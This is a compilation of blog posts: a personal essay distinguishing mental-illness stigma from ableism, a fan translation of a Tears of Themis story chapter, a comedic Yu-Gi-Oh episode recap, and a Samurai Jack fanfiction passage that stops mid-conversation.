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dreamwithoutreason · 4 years

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Really need people to understand that there is a difference between your diagnosis being stigmatized (what usually happens with mental illness) and your diagnosis resulting in you being subjected to ableism (disability) because those two things are a bit different and the distinction is important.

I want to start by saying that I am in no way attempting to minimize the struggles that mentally ill people face. I am mentally ill and have depression, anxiety, and ADHD as well as a physical disability, Cerebral Palsy. The line between the struggles of people with mental illnesses and the struggles of disabled people is thin but there is still a line. I just want to highlight some of the ways that disabled people are especially discriminated against in a world built and run by abled people and how that can be different from how mental ill people experience alienation or stigmatization. These differences are also why I think that comparing a mental illness to a disability can be problematic. I am, however, also aware that there is overlap and that some diagnoses can be considered to have a foot in both arenas, this is in no way meant to be a hard and fast rule. I also don't claim to speak for the entire disabled community but a lot of the things under the ableism list are things that I've experienced myself which is the place that this post is coming from. I want people to realize that ableism is more than stigmatization and that it is engrained in the world that we live in.

Stigmatization comes from people misunderstanding your illness and how seriously it can impact you and your life. I would consider stigmatization to be things like:

People using your diagnosis as an insult or joke, further stigmatizing it. Ex: When ppl say things like "I'm so ocd" or "I'm so bipolar"

People ignoring your symptoms or attributing your symptoms to your character. For example, instead of recognizing the symptoms of your illness like executive dysfunction, someone might just call you lazy.

General lack of understanding or sympathy towards mentally ill people

Lack of accurate representations of mental illnesses in media. Most of the time the character with the mental illness is made to be the villain or antagonist. Once again, very stigmatizing and gross.

Also, for both mentally ill and disabled people it can sometimes be difficult or expensive to get the right medications you need.

Examples of everyday ableism and systematic ableism that's ingrained in our society which particularly affects disabled people include:

Someone using derogatory language to belittle and degrade your existence as a person. It positions you as less than. Can often be a targetted, direct attack at a disabled person. Ex: the r slur, words like "cripple", and using "deaf", "blind", or "disabled" as insults.

Mocking the way someone walks, moves, speaks, or exists as a disabled person.

No one taking you seriously because you are disabled/being subjected to infantilization. People assuming that you can't do anything for yourself.

Able-bodied people assuming the needs of a disabled person without asking them. Often this comes from a place of trying to be helpful but make sure you always ask what you can do to accommodate someone before assuming what they might need help with because it can be infantilizing

Example: I've had a lot of people assume that I need help putting on a jacket or getting my shoes on so they automatically start helping me with it and they basically end up treating me like a child because they assume that I can't do something.

People touching you or your equipment or mobility aids without your consent. Mobility aids can be like extensions of our body so do not touch them without our permission. This urge to violate a disabled person's space comes from the subconscious assumption that disabled people don't have their own autonomy.

Example: many times when I was a full-time wheelchair user people would come up behind me and just start pushing my wheelchair without asking or saying anything. Their intention was to help me get where I was going but it was very jarring to suddenly start being pushed without asking.

Being denied a job because you are disabled.

Job applications including physical ability requirements for non-physical or desk jobs to discourage disabled people from applying. Ex: "must be able to lift [x amount] of pounds"

Being denied the accommodations you need to be able to function in a school/work/home/other environment.

Lack of captions or audio descriptions

Being expected to work and move at the same pace as your peers all of the time.

Constantly feeling the need to "prove" yourself to the abled majority.

The idea that being abled is the ideal and that you need to do everything in your power to try to be as close to abled as possible. The idea that you shouldn't be comfortable with your disability. The notion that being disabled cannot be a whole or fulfilling identity.

A good example of this that people don't often think about are the viral videos that are like "Sally worked for months so that she could [struggle] to walk down the aisle at her wedding! Isn't that sweet?" Or the videos of kids feeling pressured to walk across the stage at graduation. These videos imply that struggling to perform ability is somehow better than being comfortably disabled.

The idea that disabled people can't be desirable, attractive, or sexy. The idea that they don't make good romantic partners.

Using disabled people as inspiration porn. This happens a lot with viral videos of disabled people where the comments amount to "if they can live with a disability, then you have no reason to complain about your life!" Disabled people do not exist to inspire you.

Also another personal example but one time in gym class I did more push ups than a girl who was able-bodied so she got all defensive and said "well if she can do that many then I'm gonna do more!" Like girl.... anyways...

Having to jump through a million hoops to get disability benefits. Or being denied disability benefits for arbitrary reasons.

Also once you get disability benefits it's barely anything. Also when you're on benefits you're not allowed to save up money and if you get married you lose benefits. I could make a whole other post about how disabled people are expected to live off of nothing but...

MOBILITY AIDS ARE SO EXPENSIVE HOLY SHIT

The world was built by and for able-bodied people. Architectural/environmental ableism occurs when there are no ramps, no accessible bathroom stalls, no elevators, no disability parking spaces, and/or no space for wheelchairs/mobility aids in public places.

This also happens a lot with public transportation. When I tried using the metro with my friends in DC, I had to have a security guard help me get down the escalator because there wasn't an elevator nearby. Right before I got on it, I saw a man force his wheelchair onto the escalator.

A smaller example but it can be as small as there not being a sidewalk ramp. One time I couldn't even cross the street because there was no sidewalk ramp and I was in a wheelchair. Once again, the world was built by able-bodied people.

Eco-ableism. It's when disabled people aren't considered when it comes to environmental activism. The best example of this is the straw debacle that happened last year. Every abled person and their mama wanted to complete ban plastic straws without acknowledging that a lot of disabled people need to use blendable, flexible plastic straws.

Another example that I've witnessed myself has been with automatic doors. I've had to tear down signs at my university that were put on automatic doors that said "save a polar bear, use the other door". Stop blaming disabled people's survival for environmental issues and blame big corporations.

Almost a complete lack of disability representation in media. Disabled kids don't have many people who they can look up to. I know I didn't have any.

The ableism that comes from abled parents of a disabled child.

For years I was told inaccurate information about my disability by able-bodied people, including my mother. It was only when I started researching my disability myself that I actually began to understand it.

Related to the previous point, lack of information or knowledge about certain disabilities

People assuming that just because someone is in a wheelchair that they can't move their legs or walk. This feeds into the idea that disabled people are "faking" their disability. The idea that someone is "faking" can lead people to be attacked or have people tell them that they don't "deserve" things like benefits or parking spaces.

People who straight up pretend they don't see us. I've had so many people try to cut me in line over the years just because they didn't think I would say anything or wanted to pretend they didn't see me.

I have friends who have delayed speech as part of their disability. If you know someone who has delayed speech or a stutter, don't fucking cut them off or try to finish their sentences for them. It's super rude and disrespectful.

DON'T FUCKING SAY THE R WORD. DON'T SAY IT! DON'T SAY IT EVEN IF YOU ARE DISABLED! THE R WORD IS SO ABLEIST AND STIGMATIZING STOP SAYING IT! DON'T PUT IT IN YOUR WRITING EITHER!

Lastly, about half of people killed by police have some sort of disability or mental illness. Disability is intersectional and it's important when talking about things like the BLM movement, women's rights, lgbtq+ rights, etc.

Hope this helped you learn something about ableism and how prevalent it is!

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tearsofthemis · 4 years

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Tears of Themis : Chapter 1 “Social Snobbery” Part 13

[Previous Part] | [Masterlist] | [Next Part]

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▌Location- QingPing Restaurant, First Floor

(Lu HaiYang flinched when he saw that Fang Yuan and Xue XinRan had company, but then quickly put on a smile.)

Lu HaiYang: “Old man, do you really believe hiring lawyers will help? You’re going up against Bader Law Firm, the best legal team in the city. Let’s face it, you can’t win the case. Your best bet is to save up money and invest in our PR services to salvage whatever’s left of your restaurant’s reputation.”

Xue XinRan: “Grandpa Fang, can’t you see that he’s past the point of salvation?!”

MC: “Lu HaiYang, you…”

(Fang Yuan was already so frail, I was scared that the situation might escalate to something physical. Just as I was about to get up and put distance between the two, Xia Yang pinched me.)

Xia Yan: “Don’t worry.”

(Xia Yan winked and pulled a small stick-like object out of his pocket for me to see. It was a recording pen. Was Xia Yan counting on Lu HaiYang’s admission to the crime during an emotional outburst?)

Fang Yuan: “HaiYang, why won’t you resign! Don’t you know what you did here is breaking the law!?”

Lu HaiYang: “Breaking the law? What law did I break, do you even have evidence?”

MC: “Of course we do! The incident that occurred in this restaurant isn’t simply food poisoning from unsafe practices, this is a case of intentional poisoning! You left the pesticide receipt here, I bet you’ve forgotten about it!”

(Lu HaiYang finally noticed the evidence and notes laid out on the dining table, and his face soured.)

Lu HaiYang: “Well, I’ll admit you have gall, old man. To preach your nonsense, and now you’ve stooped to fabricating evidence. You lectured me, telling me that it was for my own good, and yet you’ve been working to push all the blame onto my shoulders! How cruel can you be!?”

Xue XinRan: “Lu HaiYang, how dare you call Grandpa Fang cruel! He’s never done wrong by you!”

Lu HaiYang: “Bullsh*t! He’s done plenty! If it weren’t for the fact that I look like his son, he wouldn’t have encouraged me to go to university, and I wouldn’t have stayed in Stellis City! Especially since he knows how difficult it is for foreigners to afford the cost of living here - foreigners like me! I’ve had to work myself to the bone just to afford rent and put food in my body, let alone buying a house and starting a family! He’s the one that put extra weight on my shoulders, and he should pay the price for it! Besides, isn’t it only natural for fathers to support their sons’ business?”

Xue XinRan: “You… You’re completely out of line…”

Lu HaiYang: “I pitched our PR services to him because it would’ve benefitted us both. The restaurant would gain good publicity, and I would meet my quotas. Two birds, one stone, right? But he just had to be stubborn, had to shell out his savings for a bunch of poor students! Where are they now when you’re in hot water? Do any of his ex-benefactors care about him? Excluding one Xue XinRan who’s still mooching off of him for tuition, the rest of the ingrates you funded looked the other way! This is the thanks you get for your kindness! So how about it? Hire our PR services, and I’ll be able to meet this month’s sales quota with your sign up.”

(All of us were left shell shocked by Lu HaiYang’s scathing words. Fang Yuan’s eyes glazed over in pain as he stared at Lu HaiYang.)

Xue XinRan: “Grandpa Fang!”

(The restaurant was silent save for Fang Yuan’s labored breathing. He clutched his chest and crumpled over. Xia Yan and I rushed over to Fang Yuan’s side as Lu HaiYang lunged towards the table in an attempt to grab the evidence. Xia Yan stopped him in time and grabbed onto his wrist.)

Lu HaiYang: “Y-you! Let me go!”

(Lu HaiYang howled in pain. He hesitated at first, but raised his free hand in a fist and swung at Xia Yan. Xia Yan blocked the punch and twisted Lu HaiYang’s arms behind his back. Xia Yan had an iron grip on Lu HaiYang’s wrists like a sword pulled out of its sheath. He glared at Lu HaiYang with an expression colder than steel itself.)

Xia Yan: “Lu HaiYang, if I were you, I’d think twice about tampering with the evidence. If you can attest that you acted upon your company’s wishes and appear in court as a witness, the judge will most likely reduce your sentence.”

MC: “Weren't you worried that after you resigned, you wouldn’t be able to find work elsewhere? Fear not, they’ll give you food, housing, and even a job in jail; you can rest easy.”

Lu HaiYang: “Y-you! I’ll have you know that our company is backed by the PAX Group, and you’ll do well if you don’t anger them. Accept your losses, and let me go!”

MC: “PAX Group is just a bunch of rich hotshots anyways! You think by having money, it’ll automatically put you above the law? Keep dreaming! I’ll definitely represent Mr. Fang in this case. Even if I have to oppose PAX, even if this passes all the way up to the Supreme Court, I’ll accompany you there!”

Fang Yuan: “Let… Let go of him… I hereby consent for Themis to appear in court in my steed. I’ll… I’ll forget that I ever sponsored you!”

Lu HaiYang: “Y-you… You can’t do that!”

(Xia Yan led Lu HaiYang to the front door, and promptly kicked him out of the restaurant.)

Xia Yan: “From here on out, stop harassing Mr. Fang. You don’t want to know what’ll happen to you if not.”

(Xia Yan slammed the door in Lu HaiYang’s face. With a couple of key presses, he removed Lu HaiYang’s fingerprint ID from the system. It seems that Xia Yan’s threat got through to him as he scrambled up off the ground and immediately left.)

MC: “Grandpa Fang, do you require medical assistance? We can take you to the hospital.”

(Xue XinRan had already handed Fang Yuan’s medication to him, but I was still unassured.)

Fang Yuan: “I’m alright… That agreement, bring it here… I’ll sign it. You were right, my boy. The best way to get through to Lu HaiYang is to let MeiWeiKa pay for their crimes. I was always under the impression that their company had connections, but from the looks of it, all my years of experience doesn’t compare to this young lady’s bravery.”

MC: “You flatter me…”

Xia Yan: “What you said is true, she’s the most honest lawyer I know. She’ll definitely win your case.”

(After the agreement was signed, Xia Yan and I decided that it was best we let Mr. Fang rest, so we brought the surveillance footage back to his office to review. With Xue XinRan staying back to take care of Fang Yuan, it was a relief to know that he would be in good care.)

MC: “Then, Mr. Fang, we’ll take our leave for today.”

~~~

(On our way out of the restaurant, Xia Yan explained that his office was a property he had inherited from his parents, and that it was close to QingPing restaurant. We would’ve been sitting in traffic if we had hailed a cab, so we opted to walk over instead.)

Xia Yan: “Why are you staring at me?”

MC: “So many years have passed, there’s a lot that I want to tell you. But at the moment, nothing comes to mind.”

Xia Yan: “Me too. Even when I couldn’t see you, I actually… always thought about you. There’s so much that happened that I want to share. But after I saw you in person, I realized that a lot of things can be left unsaid, as long as you’re doing well.”

MC: “I want to hear about it.”

Xia Yan: “There’s a lot to go through, we’ll be talking for at least three days and three nights. Miss Lawyer, do you have room in your schedule for me, then?” ▌ [Check Xia Yan’s shoulder]

MC: “Xia Yan, when did you get back, and why didn’t you contact me?”

Xia Yan: “Ah… I got back only last week…”

MC: “The truth, please.”

Xia Yan: “Alright, I’ve been back in town for a while. I was busy on an urgent assignment, and I haven’t had the time to find you.”

▌[Check Xia Yan’s hair]

Xia Yan: “What are you raising your arm for… are you measuring my height?”

MC: “Yeah, I wanted to see how much you’ve grown since I last saw you. I can’t believe you’re still growing even in your twenties. You must be around 180cm by now.”

Xia Yan: “I was only sixteen when I left town, of course I’m taller now. I’m 180cm tall, on the dot. What do you think? Is Miss Lawyer pleased?”

▌[Check Xia Yan’s pendant]

MC: “I see that you’re still wearing the key.”

Xia Yan: “You gave it to me, of course I kept it.”

▌[Check Xia Yan’s neck]

MC: “Your skin seems…” Xia Yan: “I’ve tanned, haven’t I? You know, I’ve always liked my skin with a little color, better than being pasty.” MC: “Haha, you think too much. I just wanted to point out that your skin looks good. Shouldn’t you be inside all day like a lab rat? How can someone who stays indoors all the time get a tan?”

Xia Yan: “Don’t expose me like that, you’re so direct with your words.”

▌[Talk to Xia Yan]

Xia Yan: “We’re almost there, My office is straight ahead this way.”

MC: “It’s my first time at a private investigator firm. I look forward to seeing it, Mister Detective.”

Xia Yan: “I promise you won’t be disappointed!”

(I joked with Xia Yan on our walk and soon arrived at his office, but we stopped in front of the signage…)

MC: “Xia Yan, you own this three story building right? This… ‘Timely Antiquities Store’... what does it mean? Shouldn’t the sign read, ‘Xia Yan’s Detective Firm’ or something? Unless you rented out the first floor?”

Xia Yan: “It’s unfortunate that some people consider hiring private investigators synonymous to hiring paparazzi. We had to do this so that our clients wouldn’t feel embarrassed if they’re seen by acquaintances when they hire us. The antiques store is kind of like a cover. The PI firm’s upstairs on the second floor.”

MC: “I see…”

(I assumed that the cover would be… like a cover - complete with plastic tables and the like. I would’ve never expected that I’d walk into a different world when I pushed open the door…)

~~~

▌Location- Antique Store

(The store was quaint, and handcrafted decorations that might’ve been around longer than I have were scattered about in every corner. I checked out a clock with a golden magpie perched on a branch, its wings flapping with passing time as seconds ticked away. Debussy’s “Claire De Lune” played softly from a sandalwood music box which sat on a shelf. If you got close enough, you could smell the fragrant wood in the air. Elegant kerosene lamps, a complete set of comics, even a brass lamp modeled after testaments of the Bible… It felt like I had traveled back at least a hundred years, and had left the bustling cities of the year 2030 behind.)

Xia Yan: “What do you think, my antique store is pretty cool isn’t it? Although they’re not old enough to be labeled as artifacts, I think things from the previous century have its own unique charms.”

MC: “Did you collect all of these?”

Xia Yan: “I wouldn’t call it ‘collecting’. There are some that I keep, and some I hope to find new homes for. Everything you see here represents a unique memory in time, and naturally, they’ll go to different destinations.”

(Xia Yan walked to the counter and pulled something that triggered the plain-looking counter to turn into a modernesque digital workbench. I’m guessing this is the “youngest” item in the store…)

Xia Yan: “Give me ten minutes, I guarantee that I’ll retrieve the SD card in one piece! If you don’t believe me, you can set a timer.”

MC: “Okay then, your time starts… now!”

Xia Yan: “W-wait! You’re cheating, I haven’t even pulled out my tools yet!”

(As the stopwatch on my phone ticked away, Xia Yan hurriedly pulled out a toolbox from underneath the workbench. He was extremely quiet as he focused on restoring the security camera. The scene reminded me of a time when I watched him study in our school’s library. But unlike the golden memories of our past, Xia Yan had long since forfeited his childish demeanor and had put on a mature air. Is this what eight years’ worth of schooling and living alone has honed? A wave of regret washed over me. Him and I… we’ve lost so much time, so many memories we could’ve shared.)

Xia Yan: “How are your parents? I haven’t had the chance to greet them since I came back.”

MC: “Mom and dad were called away for a government research project during my first year in university. Like yours, the research is a government secret and we couldn’t keep in touch.”

(The tool in Xia Yan’s hand shook.)

Xia Yan: “A secret research project?”

MC: “That’s right, they weren’t allowed to keep contact with the outside world. Every new years, they’ll send me a postcard, and they send me money for living expenses here and there. I don’t know when they’ll be able to return home. Considering they’re both workaholics, I like to think that mom and dad are doing alright.”

(Xia Yan was reassured by my words and resumed fixing the camera.)

Xia Yan: “That’s good. If you ever have the chance to contact them, tell them that I’m back in Stellis City. Tell them not to worry, because I’ll take care of you.”

MC: “Sheesh, you must think you’re the only one that grew up over the past eight years. Claiming that you’ll take care of me, do you mean that you plan to implicate us both? Every time time I got in trouble when we were young, it was only because you made me an accomplice.”

Xia Yan: “Oi, oi! We don’t talk about that. Alright, I finished repairing the security camera, stop the timer.”

MC: “Seven minutes and thirty seconds! You’re incredible.”

Xia Yan: “Told ya I could do it.”

(Xia Yan passed me the SD card, and I inserted it into his tablet. The restaurant’s front door was displayed in high definition on the screen.)

Xia Yan: “Based on the timeline that Mr. Fang gave us, the only time Lu HaiYang would’ve been able to commit the crime is on Friday morning from 6AM to around 8AM when the store was left unattended.”

(I adjusted the recording time to the day of the incident and pressed play. Not before long, Lu HaiYang appeared in the frame.)

MC: “He was at the restaurant! Entry time was 7:28AM, and he left at 7:43AM. There was fifteen minutes in between that, which means he had enough time to commit the crime.”

(In the security footage, Lu HaiYang was seen walking in with one hand in his pants pocket, seemingly concealing something in his pocket. It could very well be a packet of 330. Unfortunately, the direction that the camera was facing the door, and Lu HaiYang’s processes weren’t captured on film. Aside from Lu HaiYang’s visit to the restaurant, the footage also captured the time of the water delivery, Fang Yuan and his runner leaving the restaurant to run errands, and then, finally, their return. The last segment of the footage showed Fang Yuang seeing the health inspectors out the door that afternoon. After they left, Fang Yuan threw something and smashed the camera lens.)

Xia Yan: “Mr. Fang must have suspected, due to MeiWeiKa’s poor business practices combined with Lu HaiYang’s pressure from work, that Lu HaiYang was the perpetrator.”

MC: “He must’ve not understood how security cameras work. Even if he smashed the camera lens, the SD card was left intact…”

Xia Yan: “He didn’t know the steps that Lu HaiYang had taken in order to contaminate the spring water and thought that the pesticide was simply thrown in and dissolved in the water container. Otherwise, Fang Yuan wouldn’t have left so many clues for us to find.”

MC: “We gathered a lot of evidence today. Allow me to organize them so I can build a proper defense for Wednesday’s trial.”

Xia Yan: “I’ll help you.”

-------

[Previous Part] | [Masterlist] | [Next Part]

——-

《CREDIT》 Translator & Editor: @humi-and-co Editor: @hallowsivy 《未定事件簿》Tears of Themis is a 2020 Chinese otome game by 米哈游Mihoyo. All original credits go to 米哈游Mihoyo.

《 VOICE ACTORS 》 Xia Yan | Jin Xian: https://weibo.com/riceranger Lu HaiYang | Zhang Pei: https://weibo.com/u/1937059462 Xue XinRan | V17-Su Wan: https://weibo.com/u/2925530143 Fang Yuan | Zhao Yang

#tears of themis #tears of themis translations #otome #未定事件簿 #夏彦 #tears of themis trans #tears of themis xia yan #xia yan #tears of themis gifs #xia yan gifs

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steve0discusses · 6 years

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Yugioh S1 Ep 31: Bandit Keith Decides To Make Minimal Effort

I just finished showing my bro Legion, (it was nice of FX to make a really lovely, very adult, live action gritty Yugioh-without-the-cards so we never have to make one) and I was like “So, which Egyptian Shadow King would win in a fight--the anime one or the Aubrey Plaza one?” because I know so little about Yugioh and about the more obscure parts of the Marvel Universe so this paradox doesn’t bother me, and because I know it would bother my brother a whole lot. Needless to say, Steve-o ranted for like 15 straight minutes, going back and forth between Pharaoh and Farouk, and ultimately deciding that we just can’t ever say, because Pharaoh rarely seems to use his full potential because he just doesn’t ever need to or maybe has forgotten how. What a cop out answer.

And so, on that line of doing the bare minimum effort required to succeed despite being a very powerful dude, we have a Bandit Keith episode.

Last we left it, Yugi’s duel is over and Pegasus makes some little golf claps of approval. I’m still not sure if the commonly accepted applause of Duel Monsters would be more like a golf/chess match clap or not, because it feels like Yugi’s friends are always overly loud about their applause while everyone else just kinda glares at them. That may be mostly because there’s only like 4 voice actors.

(read more under the cut)

Like all of Yugi’s very overbearing friends, Tristan fights to be the most overbearing of them all, by basically putting him in a handhold and listing all the nightmares that could go wrong, much like when my Mother dropped me off at camp for the first time.

I don’t know why Tristan didn’t think to check his pockets to make sure Joey has the ticket because that’s what you need to do every 3 minutes when watching children, but whatevs.

This episode I got to get a really good gander at the worst choice in hallway colors I’ve seen in my life.

I get that this horrible orange is supposed to be unsettling, because this whole dueling segment is unsettling for our characters. I just hate this combo an awful lot. This orange with that grayed blue and that dark gray purple is sort of like when you bit down on your silverware by accident.

Anyway, Joey has a lot to say to Yugi in front of the worst choice of orange backdrop, just so it can burn my retinas forever.

So, they pinky swear that they’re still friends no matter what, although honestly, why would they need to duel? It’s already been clarified that dueling Yugi carries kind of of a russian roulette risk to it, and Joey only wants second place for the prize money and Yugi needs first place to resurrect 3 people so like...whatever. I’m thinking too much again. I gotta go turn that brain right off.

I can’t believe my joke of Keith taking a nap for the past two episodes was secretly canon. Genuinely surprised he was able to sleep over Yugi’s panic attack but like...maybe that’s just white noise at this point because it happens so often?

Why do so many blondes call eachother blondes? I used to be a blonde. This is a thing and I don’t get it.

Will they figure out that the BANDIT Kieth BANDITed their card?

N-no of course not, because this is Joey and they automatically assume he’s lost it because he’s just kind of bad everything else. Despite the fact that Bandit has told them outright that he’s going to do whatever it takes to win, despite the fact that Keith has tried to kill them once and stole all the star chips he used to get into this castle--they do not ever once suspect him because they are so certain that Joey has screwed it. It’s...fine.

Joey is given five minutes to find his card. I’m pretty sure it took more than five minutes of show time for him to do this but whatever.

PS they never show him checking the dining room although he clearly talks about running straight there.

Meanwhile, Keith is getting comfortable.

How did he sleep in this position???

Who’s massive bottle of pills is this!? What ARE they?

Yugi very seriously considers giving Joey his card. He ends up slowly putting the card back into his pocket and hoping no one noticed that.

It has just occurred to me that I haven’t put “Meanwhile” on any of these title cards so...forgive me if that’s confusing. Like Bandit Keith, I’ve been having insomnia like you can’t believe so I’ve been a *little* forgetful. Luckily this episode is pretty simple to follow.

Anyways, Mai is here to save the day for the third time to give them whatever thingy they lost that she had ample leftovers of. Mai has been the true hero of this season. Mai should have totally won this whole season, had she not been a muggle.

Anyways, time for this gross handkerchief trope, still going strong in the year 2000.

(he does not use it)

And then there she goes, into the ether--to resurface again when we desperately need something; their acidic, rude guardian angel.

Anyways, equipped with a card he strides back in to the room.

This is the crazy smile of someone who has never seen you do anything right in your entire life and is absolutely certain they will never witness this moment ever again.

He does not say “Mai gave me this card” because Mai does not need credit on this show apparently. Anyways, so they duel, but it turns out that Mr Bandit has been paying some attention to the majority of the room and so he’s made a deck mostly suited for fighting Pegasus and Yugi--youknow, the magicians.

Bandit Keith’s deck is basically different takes on Metal Gear. Lots of traps. Also, a VERY weird face wipe.

Usaully Yugioh duels are an artistic experiment into face wipes. I don’t know if any other show I’ve watched has really tried to push the envelope into face wipe theory. Almost as if the people drawing this got HELLA BORED and were like “If I do another normal face wipe I will set this place on fire” and so this happened:

LOOK AT THIS FACE WIPE

There’s a lot to take away from here--other than the fact that Joey’s monster is wearing a very tiny breast plate bra, the littlest helmet, and little else. Firstly, the fact that they wanted to make a perfect flower-petal arrangement from Joey and his monster out to Yugi--but ran out of space and so squished Tristan like 3 inches shorter than everyone else. The fact that they shrunk the necklace so we get a little bit of that eyeball so Pharaoh can be like “I’m here too!” The fact that it isn’t lined up with the bottom of the screen for some reason so we got a little lip there that is just hanging.

And here I thought they couldn’t give me a weirder face wipe than the one that had like 8 people in it a few weeks back. This here...they’ve set a real high bar for themselves as far as weird face wipes go.

Anyways, next week, on Yugioh:

Does Bandit Keith just fall asleep in the middle of his next turn because he clearly has narcolepsy? Does Joey accidentally drop his brand new ticket card down the bottomless chasm by accident? Will Mai get back to the boat and steal Rex’s room again the exact same way as she did last time?

#yugioh #yugioh recap #photo recap #humor #yugi muto #joey wheeler #bandit keith #the other ones #face wipe #bandit keith just wants to nap on everything and I appreciate that #s1 ep31

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animationnut · 7 years

Text

In a Name

Summary: After years in a future under Aku's rule, Jack has forgotten his real name. When his parents remind him, he is suddenly torn. Yasu was the person he used to be, and Jack was the one who traversed a future ruled by Aku. They were two names for one person, but yet they felt like completely different beings.

Their son no longer knew his name.

This discovery by the Emperor and Empress came a few days after the defeat of Aku. They had their happy reunion with tight embraces and joyful tears, and were introduced to the slightly shy young woman by his side. They were surprised, of course, because to them he left for his confrontation only a matter of minutes ago. They freed their people from Aku's chains and, when they were certain no one was in need of urgent care, did they hear the whole story.

For hours they listened as their son spoke his tale, weaving a picture of a desolate and terrifying future under Aku's iron-fisted rule. His expressions would shift, depending on which point of the story he was telling. When he told them of a vastly intelligent dog named Sir Rothchild and his canine companions, there was a smile on his lips. When he spoke of his meeting with a brave warrior named the Scotsman, there was fondness glimmering in his eyes and a soft solmness to his voice. When he spoke of the destruction of villages and cities and their inhabitants, a shadow of mourning crossed over his features.

The Empress felt her heart break as the stories went on, seeming to be never-ending. The Emperor sat beside her, posture stiff and expression grim. They had both known that their son would face immeasurable evil when Aku returned--but they could never have imagined this. For over fifty years, their son had been away from them, trapped in a world wrought with horrors and death, forced to witness tragedies day by day, his hope and determination dwindling as he was overwhelmed with darkness.

Ashi was listening to these tales with rapt attention, and any questions they had about her place in their son's life were answered when Jack reached the end of his saga. With a warm, affectionate smile, he laced his fingers with hers as he explained how they met. It was quite a shock, to learn that this girl was a daughter of Aku, and Ashi turned her head slightly to avoid looking directly into their eyes, her shame and embarrassment clear.

The Empress took the girl's hand and squeezed. "You did not choose to be his child, nor the destiny that was forced upon you."

"You made your own choices, picked your own path, and your decision to travel the road of good and righteousness means you were never what Aku wanted you to be, and you never would be," agreed the Emperor.

The apprehensive tension lifted from Ashi's shoulders and she beamed at them, grateful and relieved they did not shun her for a heritage she could not control. Their son smiled at Ashi, and his parents could see that after all he had endured, he had finally found true happiness.

It was a day or two later when they began the monumental project of reconstructing their village. The fields and landscape were dry and blackened, and all their homes crushed and splintered from Aku's reign. The Empress helped with restoring the flower fields. There were quite a few boulders that needed to be removed, and she noticed her son travelling up the trodden dirt path with a wooden cart of supplies.

"Yasu!" she called.

When he did not respond, she assumed he did not hear her. Sh tried again, but he son still did not ackwledge her.

"Jack!"

His head turned instantly and Ashi hurried up to him. They had a brief conversation before Ashi turned away, having received the answer she needed. The Empress stared at her son for a moment, expression puzzled.

"Jack?" she tried.

He looked automatically in her direction. "Yes, Mother?"

The Empress did not know the origin of this name her son had apparently adopted, but did not breach the subject. It was later, when they were eating supper, that the Empress whispered to her husband what had occurred. Brow furrowing, the Emperor glanced directly at his son and said, "Yasu?"

He did not look up from his bowl, though Ashi lifted her head and blinked in confusion. The Emperor and Empress exchanged glances. "Jack," the Emperor spoke.

Jack regarded his father, smile falling slightly at the troubled expression on his face. "What is wrong?" he asked in concern.

"Do you remember your name?" asked the Emperor carefully.

For a moment, Jack did not understand the question. He opened his mouth to answer, to say that of course he remembered his name, when realization suddenly struck him and he froze.

No. Jack wasn't his real name. Not the one he was born with. His name was...

He struggled to remember, but fifty years of being Samurai Jack drew up a blank space in his memory.

"Yasu," said the Empress gently. "Your name is Yasu."

"Jack's not your real anme?" asked Ashi in surprise.

"No...it isn't, but I had forgotten...I had thought..." Jack trailed off, brow creased, and Ashi set a hand against his shoulder. It brought comfort to his conflicting emotions and he rested his hand overtop hers, managing a small smile. Turning to his parents, he said, "I am sorry."

"You do not need to apologize," returned the Emperor.

"We did not mean to upset you," added the Empress, worried by the distant look that appeared in her son's eyes.

"No, no, it is fine. Thank you, for reminding me of my name. Yasu."

But as the name fell from his lips, it seemed unnatural and foreign, as if he were speaking the name of someone he did not know very well.

...

The dark sky stretched above him, glittering with silver stars. Jack rested his hands against the red railing of the balcony, tracing his thumb against the grain of the wood. He heard footsteps fall in his direction, and soon his father joined him. He did not speak, and after a long moment of silence, Jack let out a troubled sigh.

"I cannot believe I forgot my own name."

"You've been away for decades. You went through a great deal of trauma. There are some aspects of yourself that you have lost along the way. There's no shame in that."

"But my name? The one you and mother gave me, the one you put thought and meaning into?" Jack's fingers tightened against the railing. "You named me Yasu because it held significance to you. And I forgot it. It is disrespectful."

The Emperor regarded his son. "Tell me. Why did you choose to call yourself Jack?"

"When I landed in the future, I was lost. I was in a world strange and unfamiliar to me, and populated with beings that seemed to have come from the wildest of dreams. I felt I did not belong. There were these three robots--my first interaction of Aku's future. They called me Jack. Then, when Sir Rothchild asked me for my name, that was all I could think of. Not Yasu. Yasu did not belong in that world. But Jack...Jack could adjust and adapt, more so than Aku would have ever believed." Jack rubbed a hand down his face and said, "I am not making sense."

"No, you make perfect sense. Who you were then would not have been enough for the trials you needed to face in Aku's future. It was more than you, so you had to become more. You did that by becoming Jack."

"Over time...I was so focussed on my goal, on my purpose, that such a seemingly small detail disappeared from my memory. Now that I'm home, back in the past, I should be Yasu again." Jack shifted his gaze towards the sky. "But Yasu...Yasu was the child before Aku reappeared and everything changed. Yasu was the person who trained all over the world, having no idea what was truly ahead. But after I'll I've been through...I feel like Yasu, the me that existed before I first faced Aku, is a different person."

"You have always been yourself--you just evolved over the years. Seeing the horrors that you have seen, of course your view of the world was influenced, morphed and changed. But your soul, the core of your being, has not."

"I know who I am. I know my purpose has been fulfilled, and I can enjoy my life, with you, Mother and Ashi. It does not matter what I call myself."

The Emperor smiled knowingly. "But it does. To you."

"Everyone in the future, they knew me as Samurai Jack. The Scotsman, my friends...for fifty years, they never lost faith in me. The ancestors of my friends believed in me. No matter how much death and destruction Aku caused, they never lost hope. They put their dreams and very existences on my shoulders. And when Aku captured me, they came to my rescue, even though they knew there was a chance they would not survive. They did not know Yasu, but they knew Jack. There are many aspects of Aku's future that I wish to forget. But not them. To be Jack feels like a tether to them, a tribute to their bravery and their selflessness."

Jack halted his speech as an emotional lump grew in his throat, choking his words. "I never got the chance to thank them. To say goodbye."

The Emperor placed a hand against his back, a comforting pressure. "From what you have told me, the allies and comrades you made have always known what you were striving for. By defeating Aku, you gave them a much happier future."

"I know."

"As I said before, you have always been you, even if you doubted that over the years. And a name, a name does not define you. So whoever you choose to be--Yasu or Jack-will not change you."

The Emperor paused and glanced over his shoulder. A smile crossed his lips and he said, "I believe Ashi would like to speak with you."

Jack turned as Ashi stepped onto the balcony, red kimono swishing against the floor, a sheepish expression on her face. "I'm sorry, I didn't mean to eavesdrop--"

"It is fine. It is time for me to retire to bed, anyway. I am not as young as I used to be."

"Thank you, Father," said Jack gratefully.

"Of course, son."

The Emperor gave Ashi's shoulder an affectionate squeeze as he passed. Ashi smiled at him and joined Jack by the railing. "I'm sorry..."

Jack looked at her in surprise. "For what?"

